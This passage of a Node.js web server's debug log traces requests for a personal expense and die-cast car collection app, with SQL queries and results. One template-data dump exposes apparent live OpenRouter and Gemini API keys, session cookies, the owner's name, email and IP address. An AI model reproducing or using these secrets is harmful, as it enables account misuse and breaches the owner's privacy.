  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-02T08:36:49.366Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-02T08:36:49.366Z server-connect:app Executing action step identify
2026-02-02T08:36:49.366Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:49.366Z server-connect:output identity: 1
2026-02-02T08:36:49.366Z server-connect:app Executing action step restrict
2026-02-02T08:36:49.366Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:49.367Z server-connect:output restrict: undefined
2026-02-02T08:36:49.367Z server-connect:app Executing action step single
2026-02-02T08:36:49.367Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-02T08:36:49.367Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-02T08:36:51.874Z server-connect:router Serving templateView /diecast
2026-02-02T08:36:51.874Z server-connect:app Executing action step identify
2026-02-02T08:36:51.874Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:51.875Z server-connect:output identity: 1
2026-02-02T08:36:51.875Z server-connect:app Executing action step restrict
2026-02-02T08:36:51.875Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:36:51.875Z server-connect:output restrict: undefined
2026-02-02T08:36:51.875Z server-connect:router Render template diecast
2026-02-02T08:36:51.875Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:36:52.243Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:36:52.243Z server-connect:app Executing action step identify
2026-02-02T08:36:52.243Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:52.243Z server-connect:output identity: 1
2026-02-02T08:36:52.243Z server-connect:app Executing action step restrict
2026-02-02T08:36:52.244Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:52.244Z server-connect:output restrict: undefined
2026-02-02T08:36:52.244Z server-connect:app Executing action step select
2026-02-02T08:36:52.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:36:52.246Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-02T08:36:52.640Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:36:52.641Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-02T08:36:52.642Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:36:52.642Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-02T08:36:52.642Z server-connect:app Executing action step identify
2026-02-02T08:36:52.642Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:52.643Z server-connect:output identity: 1
2026-02-02T08:36:52.643Z server-connect:app Executing action step restrict
2026-02-02T08:36:52.643Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:52.643Z server-connect:app Executing action step identify
2026-02-02T08:36:52.643Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:52.643Z server-connect:output identity: 1
2026-02-02T08:36:52.643Z server-connect:app Executing action step restrict
2026-02-02T08:36:52.643Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:52.644Z server-connect:app Executing action step identify
2026-02-02T08:36:52.644Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:52.644Z server-connect:output identity: 1
2026-02-02T08:36:52.644Z server-connect:app Executing action step restrict
2026-02-02T08:36:52.644Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:52.645Z server-connect:output restrict: undefined
2026-02-02T08:36:52.646Z server-connect:app Executing action step select
2026-02-02T08:36:52.646Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:36:52.646Z server-connect:app Executing action step identify
2026-02-02T08:36:52.646Z server-connect:app options: { provider: 'security' }
2026-02-02T08:36:52.646Z server-connect:output identity: 1
2026-02-02T08:36:52.646Z server-connect:app Executing action step restrict
2026-02-02T08:36:52.646Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:36:52.647Z server-connect:output restrict: undefined
2026-02-02T08:36:52.647Z server-connect:app Executing action step paged
2026-02-02T08:36:52.647Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-02T08:36:52.648Z server-connect:output restrict: undefined
2026-02-02T08:36:52.648Z server-connect:app Executing action step select
2026-02-02T08:36:52.648Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:36:52.649Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-02T08:36:52.650Z server-connect:output restrict: undefined
2026-02-02T08:36:52.650Z server-connect:app Executing action step select
2026-02-02T08:36:52.651Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:36:52.654Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-02T08:36:52.656Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-02T08:36:52.657Z server-connect:app Executing action step select
2026-02-02T08:36:52.657Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:36:52.659Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-02T08:36:52.659Z server-connect:app Executing action step select
2026-02-02T08:36:52.659Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:36:52.661Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
